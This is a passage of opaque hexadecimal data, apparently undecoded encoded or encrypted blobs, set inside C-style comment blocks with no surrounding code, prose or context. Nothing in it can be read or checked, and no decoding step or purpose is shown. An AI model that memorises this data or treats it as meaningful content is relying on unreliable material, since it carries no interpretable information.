4a15d76d1a8a7f4f4b74cb2070fbd5ada2d1a726bf57ae085fb6e6692f241691ec3dd04772c33a60d04a61b1aa867a8a6ba7508e379aba7ab08c06d4b4903b757509ded4c26f303ed095c1516f29d1895397c21ea2c12c31202d4bb2f73f7f752e59bb786cdbfc55841585199a903b98206cc769239faa06a6de343c8bd5862bd5cf7ad346645145fef4b50a1be73ef38c462048a82f1720e23c157c362120846875b4a7c4dc3aec1d9442ad6d4fce32de39f4f3db9631cd8399c5aec159da696ca8c95f017854ccce16f6c3bad04c726bdd2e96e6966e53b9308c9aa77109660b1d441e7794be719a0e1881413c1dde96140263916519c867d4701dbaf419afdb39e488f7cc2c66abeb90365449b910d80644d1dce091d5b16082a3b9f0152eb3bd215471304ae380fb80a517972fe02049fcd0239a56522c626709ed34b2049cc4afa4cde221f19a8f8dd8e031e2b6af535eaa8cd55e7f542067bc47edca4b7f0b07cbc5423ac21a8cc9efea13b91667ccd3d6a705f78784c14e48c1e52171ad8e19883436723df0afb91605af7d1e5d3666638c8c8d0ccf93c37a3f9bc992e2f9bdd4b242e1a558c3713e432531a80c19add82c2c6ddbf060ea9a07a14acaaef54c1e2d7e800ff0eb0e37418de559ceb29c7548b12740132dee19282922c85d98700a2ffa*/
/*c67541ed89a629f9fd0f455ba41a65b25cd72388108a2f254b441a0d38feef22438f4c4ba77a89f02a90bc22a0947912dfecdf21b934022e816ee2b9fafe775f5e76258bbd36a3b9e45ec1f860e5b948365eba5bdabf1e7080cdf434fcd933e5f9b4c6d499880098c5c4baad43e30a790290520883b6082a9801b6ce252814528b581837be8b2b7cd671f7dc7326a9bdebfd096e8f721df1d0b24b89ccc77289d9cb84cc15d145dbe5cc3215dd541bc908085a88bdf830340c385327d9df7f61813edb90e4e4b9a4d0e87be0e8199135a5f8e1c3742f7e618c2b12ac2c66f3e844a674eb2e59697142abbbbc395e8ae46d2a115136d5d327c0373ad5495e29b10b14452fa6b6c1fff791b5d02d8b2289ac7193eb78d5d89276ab9014e3f748f71d7e6c4556ad4dce0cace9c49fa672f896d522a06082b150b889af68cb296d835af0eeb093b7ff640a60baae16bce0f427283383cdc9e8377024349eecd800e2805a754fb58a709fa4fae47dd37963b57dc12b4d2b67b6881d50edfcd30f0d5ff619872a4fe61399d9b9882a9e7e55518f94d15341bc27dc1144746842512b7c6f68bed3d1f881cbab28191f8453f9ea870c3734004c8353f3066230a3c544dcf1103ffa7615bcf430b9a8aff58ae591fa9129cfcc528f15d0e48e87e4c769225247d3f57fff9922879d4db5657c8ba510eb250678276ad5ffc76b18a612da2463c9d72c783032f73e5ef5de11d355ac3f0c0668bf4b69272e546a2c879197c26e303d0ae77b85ee54dbc30175fa6f3f90bd60bb9234940a35fc0f8b3c81eb7a8dfd398c54e4572a40526519af13d92fdca0ac4cdf3b2708d99f34a4e8bb3d049713f081f38761e55be10c466328266c68ae27d7560c7c54ba62b09e1ad8be3968d36bb579de191d964db745ef73b071f5e41acde29987a5436a2c61f8a685745443bf3546adeed61fb22867c66910cbd3774e89d958468bab0f178a11e70f202176808baef0f1bd181782aa746695c359d0aeffb4943475249657c85b3c591596b5eec148314473e8961791df1a9c3e3429e7f398d81a185919d4a453de9b383ef116dc429cca1b61ff85dd263b92ed71cb0012dcfa3bde730f1537d83500c5baac866606c805933f7760516912d0051f1f5171d69917a73ff8c61c1a146f7862ef141e94345041ff4abdf5e7238fde052fb530f096af0f837ff53e70592841ae16aabbee6339ea88cf5f0fe4029cc0160c92362e9f8c36437eaceb4cdd1263934df9fcca65df08d7ea876fcc045afafcb5300e9bcab905d1817ed4ea631ccc55c2ecf331ad73441715140190fc7caad4e3ec050104f0f63d28f3b1b55817514e4675d31e3ef45140a37a44260f1c2dcf42c498563ef3533ab4f42469f8e4010904b809a5262e64748c52ca8f58719b524a226f76babcfa49430cfc674cd4f5ab19344ed863788c6a4e8afeaaf11653b4a690a894166420c3ba9cc1b9b80908defbe042e5b59e98ff4e46c36b37fa48a83f2732a6e7101013dbf63642170c297f6b4b95afc66a21bc5486769b666bb4628f163a0b4eae260d17283a3184d60b21576241917c19ecc9989979fc7ab4aff730d39e745137b08d5416c4c469850312808f177dace56828d83513d8b55b1ecca0fd984d0835616ccf1f6fbb0849503f73a264751a061c607ee00a5c322393b7c09c9e624c1d772b69ffcaafe89bdb62ba62ab6ab5e0f32bcc43b4ce0a76fc421fd169555f9f2781e27bf7655f336b8eaeb6e8a4a7f3ff5d6604607936498f8157cb8e2134871a681596178341fc6b0d673f0417ce86bcfa84fe01cfcfb5765123ec5daf55c8ec225d211d22626dd2fec6bd655005e60f9fe5e97eb4c224c01b6fc367030f8e1648e11abb8096e240a4ed066e604f6c4c15b7e9abf9fa31a8ca2019b3cdd63ed488116e8d2e341a409d66128a86a2a69e2cd1ceb798c6f43d95f6d10d5eeec4795ed8e2bf27d9dec3138c9da7ef4785f8da8260868eaf890ea32951acec56c9c71ca0760b14b472ab2e6159c7a00436ee55f28105c5dcc8764fe0c6b940cf1d8723dfbc9b301353882883d07c44ef13cef0775a27899044ad929560e5d096d96d733925291b71ddfc1241b533064ba0dbd74658f3c58bf7e23be06efd706ae9ea7f72b4f07c92b2a828562b7da09e0990bf7855614fec747d1af57cb0bdb3426439eb7e8fe3e34e0b2725f80943e4b41e76b9dd75e1bc4172b84f3e350df99dd3c53db1ef6e9819b6feab8bb8d4f3b387ef8de4a702af1470a5ee1b66c2c574d58cee4fc099c13d590fdb5b8d9326acaaa68783ad53fa3078051f9f601e7960ac974963a84b0b78112119c8a31c3641ebd3a1da6284411bc55d25f1b64fe80c30060e9e7cc5ca091f3dbf5e3b4fe185b5a543e9bd5808c04f20a93d300c7bc1d1dbc22f277c99a808c7775c765d90fa2455c6ef9abb0417a7304f5f425fb5d1475652eb7de176012ade4194d63c58c485ea97f48da3a32df51db40241916917f57e0265b46ee3fa9a7e9772fffea0681238c669f030253f14102655bac4f4880c1be7db2f33f76750db08a7f5706436ea24563916f05eb48eac2c4200cf24a1e8af22a1bf7b2875f799cc7011fccf4faf99e079956e1398f02abfe8cb500b17750640e7e585a0349906e052f76e766d3f9c55c45b96310dba60492ca679bb92fa37953c99a92d3030797bf0d99e6a7a62e8b187aaaf2ab8911793cc4bf91908ecc38e3a4c23ae622d8a95da0ec907d996993f6025514ff8a4eab564b5c1b280b723f21fe9c4f1a657a9b36465d8426ff03c3a547969776998*/
/*2d15498b74b6cbe84dc208f52675e481b2ede6a61d4858c6401aab175f90eaf9c5f8b0444fe8853b27a8d0328370e67a7f03b67f687ab626c5e9a17208dd09d44651449ee98a74c2580077ca505ff94cdd2e1e04be72c5ad4a1a69dd6f7d5656a45c3d70721385f1ac340e488ac675443b166576f5cee268747fe4cfbe41198b84ad524f289fabc30b61bbb4be45ef0a54c4c091987fc6d0f72432922218ddb6e51b238e09eb4453351ffb04d93cfa5b308a14e2c9586007e260fe1fc19d20dc8d2471449e3794726570fcaa997655ce2220fe78601ee2827d4571b70a5a9ee7a93b687bef87be4b1bd0a62c7e5a63231982a1f809efb1815c2541662d5049a2ab099855497d589e520ede41d5b82b0355615e4725fbf2df67d9c03c9ea7b796ff99c4ad3abcae0b3b41a41406dabd8fe05628d567fc8f451f0bf2b353688a667eba5835efca10c2a7983f3fbc882cae5fcfbb8ba4bc5de6aeef628076fe95ef8f5c560ea9894bb16abba1691ce3d887c2f6d9e9bdc7c195fc0a97373a274f97a11356b981f5c752b1c155a1886afd5cd24f8b6e98fc329848c224009a9eb92591ec740accd85843bbe3e5dde4a3953b88e7e35aa0e978e0e71631c25abd76941995dd9a9f6447d6661c2b8a5858007c04e5aeb5a7a460fddf28732636e728dfaaeb9bf220928e67dfb2f6c3b7de81d0f6fcc2ec8ff1055299fdd51711799285a643ed1e57df18ee46f9d65e9d27aaabbbd42991e91a7a556766b5d6e8f3867dde3a8e9287b1c576d28bd4b10e11adfd7e0b9f4249837b96c8a640454ad298f0aa528f7aea702e61af3639d2257a8c7475132c3fab9a14aca4d36e7c85b8f93a3b145a16c048a6bda73a1d039843b137c629fd2c7f4046f0193308096675e44305e88426193eea8733a40853a3dc31583bfe11035e1ece08e137811bc03a0c6259a4ce09426de565ad558f176c0b70aec81c7175a609267320866dd48c832af744dd2802b0c77b39111ad75f30553fc5be6a13492e46fdaf52b65793395a5934c257b3b1ef6a819066c046602588e723b81fadafbbd8d1e4f02a143ffd22c762f5bcb281f3e1df650c0e46925f0b9b04e172b66854e8b547afc9d78af1ec7fabe9de9f23f0ea07b68d77035a85a1376026771ed4b23444a859ef71cb9f6df30ce6d424e5e61301e907b7e695039e4c59cd95df94533494b7e44f48ff1b4bf4305c6800cd075b5537438792493f043616fc8eb13f198384a761412d5489b4ef1a97eb7c84ef6f60470a867e3fbb3af541b968881240eae015b32ca98c1312f2569e3b9cc3bb8b489c4fdc4f162ceb55653d199bfcf11ad9adcc9306f3fecb95e0b04b207d776b14cdc085f1a1efbb0ae93548bc803d650f597556e26c9127da1e4b7c667d83e3b5181229ba7271a7180f170862a7b9253dc13445475bb347d5fcb568a455e02b8762be30a6a03d9493fefa929c340a9631c94e9769927fe897037c0a74678f032fe689dc9182d94660f71c2a5aff8c9124b9f967e9a9c514fcaf8f20dc85efa2b4554d3363c9d704862348c86b52ab2c30909366cffcc3a0e69121d1a596c6992a0a3bfbfcbf758b9d056fe016ba1fb00b33bad9a0e310cb344bf0d012ec135eaa444a49cdd637d8faf80861f3ad4fcc923253cc1e48e9ef80ef55ced7edcd55ce0d960452e620d8af9775b7c428fedb89a4faad5f31d9f33fe22ac1443010feb6445e508e0229386736a03e66d1537bc3251820ab6fbb216ba39df830d61862fa267251b60cf63c7b794df84f11c878ccd5d78ac482f351f58a41729fc250c169db6213f5bb55202c325ab53424f0d5011e922b9712cebb3f26c59fea77c763f865598cb7a11af98b898dad940cca6a1fee3f15347f5e5fed78588c9de62b5cc3015b8c01ae93287011860d1d3e95ba11d0443517abfe4b4db290e7b5dce7ec1a3568cefc8a12c2aa62af3de6272237df020eac1c65ff79a003c99b65af6f25bcfbccf411c0c14d361316e364a9effa4264a29ab4b7a792025f5b3d2012a3fd942e02ac9981b80dbb6fc99c1c8ec246a7571f5fb098415b2e9893f940bd0609cd4757ce0266c2e3c6804280a1898a970e6d70bd11a7c179acc03259144eaaa553f5f5c9f52067389475fb9d94cc99ede0c7d229709d4a868d8681257cbc5b0ae4a5ae4d4b697d3ad9dea74f27378709fc255a4778d7fe93d00ddb558a07e0b55ea104dfd1dc0bff4a002f6728bb69a58a195790b85639d0cbea19cd93e50f5eef6f0360fed723d2aea860302037b19f72c609a5eafe661dcc8aa0b11d3458d5676e34ed6d9041e3ef2f4e188f657b119cb24a64117793172dc9ec4fd173c78564ec23781cb5bf30eac038bd31371dd9941328f95290573429729cc5cf7da69f18f00420c10c5a8f90610b84bfaa099154551506a1354efb0bd751594ca3c41434e640f0c96add1daf7c510997d141d2857a5e422aa04989ad28cf914d4bdcc317612c1a9f0ba9cc86523468b6888193029c65a044bcb1bdb8cd7986e3e84b6e8bd569991d7f6be4f74548b6bdb5efadc9910d93253a5edefe5c0041fef2fbe886616fd3504cf0ff2908e2e6fc4cd95701ca2fe1a620bccdfa3e37166843b52f4d4ace9f50ab899d6a93f7474c9102f5faec1822944276ab3841e000bb12b9b3c1841371bd67d49953174508f649c4144e9408af92fd51b0e65b10288c5bd78aecfcd63fbc818ce8f4dd8944ab5d5d45a41baacf283b16e6812dd3166cdeded5a7dd00e69d3bc7a0e4a4cfaef822f7fc383fcc1f09cedf40b12827cb2ade15664fe6918320aa654741d9*/
/*b44a7bccb2ad2028fbc7d0ab37c6c1320dacb7cb702927cbc6334727b79bf3156268cba93a00345e91bb54538ef7a9840b259cb9c7436bfa040e81425baa87b26793c22e1a12819c7535f7d5449e6e4242ea14385efec34c5d7a11ad6e6453bbf578c193cd46e78cf9184488a6f6f4b33c6ec1cc2994c9daf371a952b71301096c48cd589102773a26d64763e5d32a578fc39eca66739e980987db3acf32ff4672f723a2e3429f2181614ff0c153553aa0da70d6ea030108c007fa317e104b471d0535d5c9f578142e7b5c8061e8f5025e9b1a56beabbf0f82dd4e6a5ac2e365886d21bdab18bae9c3caa967ad90f9789b85d2fc9f01cfda49f375414cbd30a143fcbc6d504a27b7cb11c72b6ad4914eb9019c2cc4d5aab93f96e10a259c4f5cdecb0e3044f7e43444e89dec0dbff82056c5c70c8b6c907250d4aa113f33eaac492299d767b934cd984939dbba127a22fa1e67689a056a180adfbc1210e60d0f1f796720743079d8ded65c80da0161075b8b416b69335bd37d915a7116c3c863adc11c3c6fb73fd97f19adcc64340fabe06b47e4ae35232229bfda1eada57d1f329317ddf2dcb6afc0ad26f0460e68d60978bae561de4d1d2670d92e644d805308a4d3c2a38d893afd08f4c0667735c09f03586020c779f7d46c88da18a17ede83f31f42831c4825fb677b3f384f294199bc2b850767bb1d4c31719d2e2c674dbd7bce35403e84dacc599b5e99aa4278702767dc1b15c4c9cb1d7a16ee846f76162fe9a4046edf5a4dee7239be00af8115d1f6a2106b8d60d635beda774eacd6c62c8d40dbb980f29893521079f2a672f9512784ea461586b4e17aed282c0b9539bf677438fe3e5f3dfc9f46570d0d93974600579deca4fc8e9d49fbb14de57ba83c5ed885986935aa9de10442a964352800a0fce98fd5e143b25c36a0ce217b1f16c98f503bda27263145d7d97bd191a89f6bc63e53766dca142359fc216cf408eb4e376e270f6311df4016b416bc04ac64852c9c1b59d702c97cef4542bca2ab618123db34d5659716952e11b5a733aa86e88491215a6b966f43f2e0f45fc02673f0e055ee0a54717f35443f5c205665fd99f9e13b9fd81e53ccb65f284188b28e5365bcb745a1a54dd9eaa331c367f11963b5ae6611a71d733f3659f4bb4d2db38eece9960fb25ad1fe7b3c1cd2ce7a9e4e8e656d0e46d2c8010fe234dc890100f1b2c6ffcc068df4c9d8f1664b0323eb728295e8e8707d1cf31df7a9a0de0bf7a7d3439c1d25231ed03b7bd0d5c3f83d28beb0e738030e7a1bb93e1d42b0771292488dc5148f16cf9885b30f597ed46e4cb7e4ba3e36e5f7fd8049f15206d0d2a2266f8872cd079d006e40932a5cb1d828f5a610743b8e7cc621f2b65da5eef2d664f9dff715711e51cb15d5d9e74353a84cbbd6c08694ad06589c2a3c4d9db99f5bdbec9bdbd7b7ab2e9ef1b3494962a44df513844358462c9be7dc1dd9df5c7f10c19a8ea3e3d4fbd59a5fa4c092d3180ba04e46508d2553a19325dea813b5f30f3233f6df4b5b12ace89837cb0c79412f72425d28eed638973cf7ff42944180a9e33ad402e1f4a3111516ad5fc27b02f32cd20cbbe4acc31b75a804e5bb247e90fcbe2ba831b01f82da63e11c08d4c4f31d8df32477235a562cd020e019d3033c3a2e144e35b2dacfdabafbcf560a0ecf1b79808d3d4a838cae920069f0ea0808d6fa859542cb0f202f5b40afe1c0bbaa851bfbcf0f3423f1e9c40575d09f2f2dbeea129db898930e647e604bf8ce8215df4f55e860cae5e66ecf7dcbf2730120fdada275f6c59bbe3cd5fe761cdfd38a4abbb5b55b793f58eead565094632a0f15950a6187ef8c86dc93808a3fa85cce6a8af62311d70d3a7a46bdf661355e33ba8d96cca976f0d9aa7b92c2b2e7cb2e49a5dcf6efbd31ff81b2f8e4680fb270e34adf3e471105a3ccc31cf2d01fbc17887d04dfefaa26db562fd18a8ffa5177a4d4a9d431beb034b58b42824865df4e18c4f441c210cc2a0570c58d92771de658f05df28e5af4578272bd2b0d687206b12567b925dda6ccb491053e67a9df2ff76ff3e146e8bbb2b9850edf64cd0f9428d45a1c126fe1a51c95df763e9d43af183f30c9fb91dc451775b700abb1512cf6d32f4408008b9580b4a1386529fef7b86df8f6fec31bb732dcb2aa3deaccd1c392e029225d17b4d7e970c9ee0a0d94e4da1281e4879369f048bed5d78afe8483dc839c53918b17aa8faa62b08dad550383cff0342f353f16585a9e0ca523b0f2b64986736c32d794538bdff276f8b16bcae258c1f6997a44e2338328a885fdb3f5e9d8e881ced90b327620ff133cb70bac269bd9416f673c29e410ac55f2388ad329abf61cae2b77e937db191bd6820041344795840f1671f13c1c77b553e7a864b4e19de6def55f63858282fb9567e68d1c959ed30b36f74145768a1c4cb50468c784ad6a6cb1682bedf1180cc1ca549fe25c7315365fd79317774ad896ef8f16f13b48bbae13a7af63581fbd885643ffe83bf3dd1b880703c2bc077d8056948ab1684efdf3599ec9c5d6631e64d4ce7b351c0b6c5e73d560e54ceb89c9dafe346a75f404c153348587ed9aff162c20ccdd005cefafaca673a5e87739b8592174ff033b5d5210d2270aaf8208104ce93718c1eff0ada0ba6fe289e56b0faac5d897358c86b3f90502625c7066cc528be848802a17d434e6629f484559778642e8e69ec74449468202bf61380b5b1adb69bc4e112d9633679b71abf0418daf5a009fa1351eaa9f2ae39375306915da77f061432090736ed500eefc*/
/*1dd180d057ca5dd7008231678851a1bd64a750a358578805b9310b97c545dbb70c5bca1a9718bc5ff6e52c3faa67b37498e814c9fc14f04c7be9f77315748be1558aa65e98b742e810a0b1f488bb75be48e57315418624c31a22b5d7a4985ec3159f9ec84ee82f66c04711c0a289c5403739caedf21bedbe8496e01442a00587ea388db743ac1090e6bea8876e00207ac988d86ef062b642c0ba27465640f3cca4814d01f059fd48798bd5dbde172817986c171fb48e5b084592e37588843439fcc72499f518218c04d8c4a23a3199bd7ddf52a26cca9d343d951a4900f826eb52de40ad02cdf84a55dbd0479a70c4f9c1ac1a928036ab19f37943ebae9a55fac4f685a1ce05362e9da1ebf6887bfc2c27dfffc8c41e11824756db99276d3023d0c8281f426cdf7f128c0b64aa2198f97995216703abcc39106b8d46983d68de99ec17a8d30f385759a714497d7dd3a29739dd3f25c4327fb2683739610bb3e209d0687962438317a9831ba762fc0dc73540acdf00f75c984c4018f085c860cf2ff6acf63a6a85e157a390c7527192a0d4520b03c756c1fbda5e2ca04b11d0fd414648f51eb489e8a94f9456b4b07ba66b59df4422b98e5dcd93b42b092f9ec33c7042054ae3dc1de8ea536dd8af0f16e30f31b880428ffffda92f2295ef0ce1c05a376e155a67fb5f4ac7772379e3890347fc947d5d5e21622ba9c6bc83ef00272a6b97bf2d6aeb90fc1ccde197d18fe52feb2bfca302278a16c8b1dbe1a32d630c7b05c93ae9f00d8ceb06495d54d74c94a863ee4867874257e637539950232756be509205cf45ad6f3bfe76f3adab814a40c2f509d329d06b4f1b45b299851cbf34d368660ef98a81217e09dc19455c5042fd2e9d9cd8e8f5a0658a73cf3fc88b32ba0e5f4b55326bf145a393ead1d5d0a87dfd74af6c3cc27a2d267573c730e13f3531dcec27950aca5e3c37213329e5f8610fec3916effafbff611dbf8201bd181b064538069cc55dcb250932de6f37663a49d8de28f502048f0c9f7cf117dcb7102a66ed671b914928d015e407bacea66257fcdb227f87f60ae070124f08dac406974cd8549bd7752640b3077f0906fc3d5884ce05c89c96cd2c50d938e4a5c8db78d9304e72bfc5ef8c098eb50cc1ba97ff1ce2de9f921eeca24b01cdd2a15226e2a3e5f7b7ba98e55e2ffe888d5a93430dd868f0bf9a355b47f9220d49cce1fb3cbba9fa9d30b096beb481429e8c479d287fd32a8b765f39132514619eb8073ecc88361fbfa0f43c4eebdd242a85f705f88930fba4c6789455eb23660d5ecd465f723b782747b467bccdb9c38c7e1d01bc64e68a6e1be4a3163f93e1f49bc3f6a33b806ccb7b20bf3f81bef346cfc58748d208bb29d853b45004839335a85275a4193dafa8210c20d3f9c7f69b4727f6e0cdc0a5e15610934bed1429206f3119d6932e4647c6e8a29cb302ce5bfffe73f8a71ddc95c3537127010a43082ef41ebd10cac12e1d47714d44c4d10a675c45765e5b6b2428c867b58e725e2fe846e056c6d0e588b355063face64baa1c77cff7efc70684c33f6fdd000ef184b4acdce9a37f265439df141e529d905364f3a10cdd24774bee9750e8acbdadfe1223cc9af278a2ca017440ed16a99770301c5a33cda601b1230c4d6496885896beb79b059cf700f39e67ca8eccb9fdebdad02286d2f69a5173f0fa0ab134ff2ea0b5296f9858915fdaafaa3d1de8130bb43a612da492f93fedf61fe34f1f3d00c6538af0c6d7925d50c39c411c579a155d0955866627fd624db6f658e4e9e81385335e4b428f7edc4e590294cf9b547938925e99ddd05c27938d0e2a0c2c0d28fb5bbeb21bdf686b72be7e2f39a0039c916d68938cc36f99ea0ad76035b09dd59f1cb980d2ee8a45b4a1a6329ced032458ca50daff66a14c3f503a8310d0b5badb6a8bd1b6ecd27c6d1b85af858036e837a57e3a09e3fc1861e14ab9924deb5cc802a03eb4d2924545a45c04d573d6e10874a383a9dc8d364ab0afb29082eea9911bec2b282d22eb1cccbf0cd1bad17f380b9297986e2dd74a0cae501c9b38fcd3b2859631ee4abe38e54b44eadab6ac118061d1be69731417ab0635b04b819892a0cf8ac23e2871a79ef21253ad78b6c37de82043efab6c71af8daae550f174e3d81ee8028e30761cec89d365dfcd7307d9b6a01e3467cd4f70231b49449aa40e18c21b08ad77e7458d201a40a7d4e18dbe5a03d967241e38d010cf8fceddc04652b707619c336871f39c608ed8b6b1d5e1d3fee3d7f25b24814b7012e3deddd847c0be7a13bd8c462adbf104929a100fc42cccefdc5dd88c9567b20af10ae4914e8aa75e26ccbbbd4b5c5563efaa0b6de06e0a40d16bc8be82713418c9128a0333f6c93de2a42565c110788ff7bdc311b7c7f1ab0dbbf2a1a2ecad7e373b43fb4c18d4a2d4ce83fda824520912892918febcbc26e2620d772cd7d1e2e4f07f03b28a158956fe3a4bf280dcd794af60b580eb302fcc7819b409bf9dfa2389ccac8ee3aca1f1eb950457769b10c1898e055bf0e76334d760ec286ff6674ac353a039fe1dfaff102e06b97f7e4e304ea6f3e0d7f1fc33e472e64a10589095617595c715d6c0e41bca9b77298e65981c60825fbedfd9dafd64312ef418ef0bd6fdddf3bb0d1d85a0cefa62b9542e4038e5fa12242c43410171ae7ef25f18be3fb5b2d458f0497dca2856a377d042eeb6fc37aa71a8bb84e4ecc854e985f49228fff0b672395e6677c0f6040883f1e57a51b0378164a761bad5b43851f55e2fde7697b6679031d290e2307637b6004a66*/
/*b82c3d957675aa76576e00fe56acbd0e78a0fbda6cd48105ee4642c6575ba13a9a2aae1df6161a4af2ba125d9a34c25951be7de115e3149ac5c8463fcf44c1400d71056c659f786e440bbb5b24afd39e9c33b2e69c3dcf0735dfe79b3cdd780899108a0d43e2667b538dc881cc440a0bae3fd346b77e99c0be681fd8bfe9b76b2be066df0152b4d09cc419f095dd5debb9d49abd62053ea8c22f87a9b2b8983d772be887dd0def2975bc94e020bc784a119c9110b80241c5d1ce313bc986062fccfa834742ebd9924a8d57cdc436c71a3f4f314420b4da2b9797da6a94e2bd9e18539f9d60c8100d07f29efee3dd5cb31e4e59e8734874d37ce26a636c671011fa19c4c2e5018db65d95ad42fb03327b8c6a434bbb247890923e93e9e138fe37b7c26092831d6b09a01050a2db09e29f256109e1d5291ea46a04ab4d61dfb953f4014a308652c29fcae4738883f05f60b10defa192d0d9f0199701972f53840ee4b7a8ff34befa5ab78149121c5c795aebabe19036c4d41c769869f6cc852a59a3bbe9430f94eb18818e398e3ce576918285c44e0ced40e20de511825552aca14cebb8adf3fc18f32448e03d0f326dab360a91f3dd11b8c3592ba00acb107c669571b781423e4c6c885804cb4b3e1a3d849e5d99404f3981f976371cdc64119726bc8cad8ed7e3ebf50fad1c4ac2b1a25736699b82879e0e1cba94dee281b8283abc9d6952370adb13ec1bf977110d1984d380786711e728d23646f847ef5c11970ae07a4aa304cfce8e58b45ca85ee95cd77f1e77bbf225f5f6c39c7cd6861cbbb706bfdbca3fa13b35695b77cefd6e1306914693c4ace219e76c2cf4c08e23a685495b9788c5f169ee6221ba0f554cb90118b7665d069b8df2fe8ce552db1032508ffad29bb6e8bdfbff842641d091d316f643d0b9c56df8736a819a20f25135a36c43b33da6948e5a833627fb443e602812953fc9b4904013628421c4117b3a98dad70e2ebbf055a12ccfdd231764532663fb50c54e138edc350e222de294f67cf832a59afdf54142dd60536621804ec5317156574c1b48a5c8e1b24c925ff10c092fee17d704185be4e1432011042bea309f378d1734dece853fe305348110b44756fa03534feee09b5a37cdb16ce859a0075a8bf8599f8b133c3589ceb55fa9d37095694f7cbcf8f6a0bfbb205490764f21c0bf3b480a68f7ffc376f122587c296faaef0b8587fa9a2f912b071a02a91d03ea10b4ad1dc3c9aa3f9bf79609d0a8a18ef668de85c2be73b5507eb4033882dc0601b3931215bd2cbbfccdc303b3d88ae95b3f0988aca7aed879b556af53b0a6748a579563ed5cc862b682786aa9a415767831a067354b499036acb230bdc6b5e3d05051d18046185a84fa3fb64ab4389b73669f3ae697cc003f304d326652f149b41fe1cb660332c25a0b3d0c3bcb7a9a07786e5cd7edf873339db8c159dacf5fd0d1030e051e5fd8a8dbaae1818331ec37549e7626a91a98c2277855147f7c532999ac1f5136155d74bf57ce62bbd28eb9c55c209e9a553b2b82b99f0c6621fa3824cf6458f119d7eaa61c7713f71e9baef2dabe5074bd095dc7899327192b650f9c54569dd6554871cf1b5bd42dcf85fe462ac2310f1a6b7949c09fa7d15d48b6367565adc3429f5362a9dbc31b5f6ce87a8a166a416a8dcf25ecf6a1c57b4a501285094cd4e0ae652661ff942f8b13aa799914422bb2e54c62203554db943fe461b52355a9f73fd132ee003bf014abeb929fd134e67490f7f08adafb95436c5aba9d30dba6a69ce91849d9695309875cfe143dcec931fd296c2108386794eb51a5d7373fc296dff0bba95e3cd618640815845ee12352fe9fea296cf39f41d9ca66be162ccae5e0052214dfb4c6d32ac353d474013c898a46b14fcb2fce34dbf8a43e761e875d9e5793aaf3f9a990d921f14bb49fae360426a17bba7a8e1250420737e90ff02f734af70fb0b9534656b4c4f0ff68f45ec2a6f10e108ea2803b69bcbd63b8ee97b9648377f56ce6c321ad2d782a831285839ad66423c0029bec4e3d0e6b2169e02ef5b9c0037125189e10c869f382a753c1fe9c5686e65e9b253a7d36f94f29f57998a37be6442d77dc0e3d4cc57c84e43a0c3733ddff9d18c187e5167677adb3b107b4809989986fee09dcfbf9202550605245f94feb7876c00cce595124dcf7559e79c285a08892aad27d238ba5d295b4ec4aebaccd53c59cf8a1c5a7a3916bff3d0fbbad68c4b0636392ce47bbd1a13c0af5fd8bd4c3e0580c1bf1198077cecb9b8db8220e6ec6a42ef89e7413b4e750b16f66d25a0157637815136bb39974bf8721ed16d9982b60cc1a71591f557e9c0af375c095c02891b81c94d4fa11db13244625b177be76f431298fa008e6f2addd7444e5430d5ee2f1acfdf3feb59510b50c8ba6a2af7f8c12d446636ba4dd15c6a3b5fc8a7f8c549b81698f455bae67fbcd546893517f7fd8cfe70544a23c0ad7a9c0cb92998c14442e4d7946790b0386d8412dd55376b83a0725f90c433206459e2d2f82f84eb2d6190f304cdc6ac549a09ec119de9dd5ca7135b3fe6e9d126e919cfab0e67cbeaa25e0f947e19e2d4196880bc3eefc1f3b8973487b43b83fc5473c1bfcd4ceef5c848457d10f9504028b618723cf80dc1955416fbf438b721ad176428a09a3ecce3729cf80a4781082c41fcb8a399c636cf0a666e27948dc9133d47146f73a73df94089b45f419510b7923ab916077222bc05c9ca525dbb2c6e91b5461c291e135f621c1a3f5cb8f08dd5d08b5ffefba07b511dcb781d8e06cbbe8*/
/*369f7412e4fa3d472d7d56f22360763cdbddfed8f9475cad76c9861e67a0c923a73378ff94c95db28b7fcd8a7ade1c5a1d288492623455f92ea4016595dca9f22465e39a49b7e35a95c04b1ff3ea78ddbf1decb878570628b60da39351ada4c46dcc3dabdb9c7ef3ae7ff8b37fd4a6c510cff889e55d39cb747e95453cb0b611898f57b3574a9ef4b6b61a5e415f30215322cc529ad1a40c98ca9e0d3113844e5fca9c8f0cb775f727a21f80061bcacec6af4ef1d4c589fe2e4bc0ad79a970ce002d5c627c7aecdaa7515a1564bf53e15d8186b906a1482c3b122688830496533708da331dffdde6f91a4a0003c50c5ad7094ad656d8480317e11a9098eb72fba461b4376d5906148d97749b2184d05253cc0ce45111fae4bd010be63bb8798dac1db355c72ab18ff62e7a0074088d74436e69eb8844da85326471d0d43e6d9a35ccecce14d2400e689ac5ac427940f877a550cb1f258f4411536b1c116e503f71673bd3cb3b6d592c6fece8cd7fa3bd3c5ba6239e7661300fbf314795a164f5e7e3b1e2d487a24d33435e06444052f60a890786acc6554d1f4d5393eca113215ac9737ecbf9a8418d30457da9d0a6444ac32e4a6692595627012bcbf0ea1aa878ccaf6a8ea60d71ba9d8215c3bc8d2d902bcb8ed4dfcd406bb6171df5b1fbcbcad3368d9eedaca749a82d81d7a723b125fc512d433bdd3e5bb3153e6a06298d1f1bc8b930eed7b7d839a76a2051f090c950d3ff631ea5b25402af02db30b17b240a5f4c705d305fb0e15f66c9f3f08f53de904ec2095ea2aac573970e14d96bc639f33711d8d78e14355f069fd83f80a21a7256780b1e34a451c7075126bba405f761621cae3656a4fd2c885c2b2defd7e317022c37c696e8e95273e2d71bb0a0f0ecc360325661613ce7ae763378c65f9604e343aa23abd08870abdf8d2ede9660f41e747118a196094b84fb5b20afa1147eb698d9754cea7c0c2e461d0c077d5f848633150a671f4dbb1a8ecda518026cac14fca63691e3d51aa2d462eee02733073fe4ee2e64d7305964ce467929a719b1277bca59bf43d46ce5ae9fb8dadcb6e9489217e747b501d1ba909a7c5b2b4daf32f8f1eb16a1857559840b712a81c72f78f3aad496413d67907dd420fb8cf46556f6ad7cb6a660a7aea1ea6bcdcf499a16cd6d6aaf53efd443d407a4449918715c0f540c947f9945d26af47358d340d756a1e3eab617c62be6bd06244cb734b8db4177223b53e253b3b38f61bba92c4466577140fafe64f74aaa58eba168d7873bc401e174f971ae56e3b6e43182fecdf78006f3d2e082dadde706e8bdbcfde745f0a9d9a89138fa9c5be2012675ab74d42fd14e613ddc6fd1579d12ebc864d3263221cdf70e8e6a00ab375ce1126c31b583bd3739a4904fa14ef83323720bb8fe3c60fbced15b50e5832b00d0f5a41186460ad73cf68ae628b315cb96ec507a0788c529a474107921bac6096156